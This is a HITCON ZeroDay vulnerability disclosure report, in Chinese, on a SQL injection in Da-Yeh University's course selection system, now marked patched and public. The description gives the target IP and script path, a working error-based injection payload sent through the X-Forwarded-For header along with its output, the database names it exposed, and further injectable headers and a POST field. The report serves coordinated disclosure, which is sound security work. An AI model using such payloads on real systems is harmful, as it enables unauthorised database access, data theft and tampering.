大葉大學選課系統 SQL Injection Vulnerability - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2018-01380
  •  發信 Vendor: 大葉大學
  • Title: 大葉大學選課系統 SQL Injection Vulnerability
  • Introduction: SQL Injection Vulnerability

處理狀態

目前狀態

公開
Last Update : 2018/09/25
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2018/09/16 15:28:31 : 新提交 (由 鄉民 更新此狀態)
  • 2018/09/16 15:31:28 : 新提交 (由 鄉民 更新此狀態)
  • 2018/09/16 16:05:27 : 新提交 (由 鄉民 更新此狀態)
  • 2018/09/16 20:20:13 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/09/17 16:08:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/09/17 16:08:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/09/18 15:55:05 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2018/09/21 23:17:09 : 確認已修補 (由 鄉民 更新此狀態)
  • 2018/09/25 03:00:12 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2018-01380
  • 通報者:鄉民
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://163.23.1.105/pdf_cour_list.php

敘述

平常header的XFF習慣會掛一個單引號,就是怕會漏掉XFF注入的網站
訪問http://163.23.1.105/pdf_cour_list.php的時候,提示了這個:

login_log命令錯誤You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2018-09-16 15:15:28','4')' at line 2

那就很明顯了,撿到了SQLi了~
Payload:

X-Forwarded-For: 127.0.0.1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
login_log命令錯誤Duplicate entry '~root@localhost~1' for key 'group_key'

圖片

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] st
[*] st_log

這邊是scanner掃出來的盲注:
http://163.23.1.105/st_jde.php
Header:

Client-IP
X-Forwarded-For

POST:

txt_userid

這幾處都有注入
圖片
圖片
圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;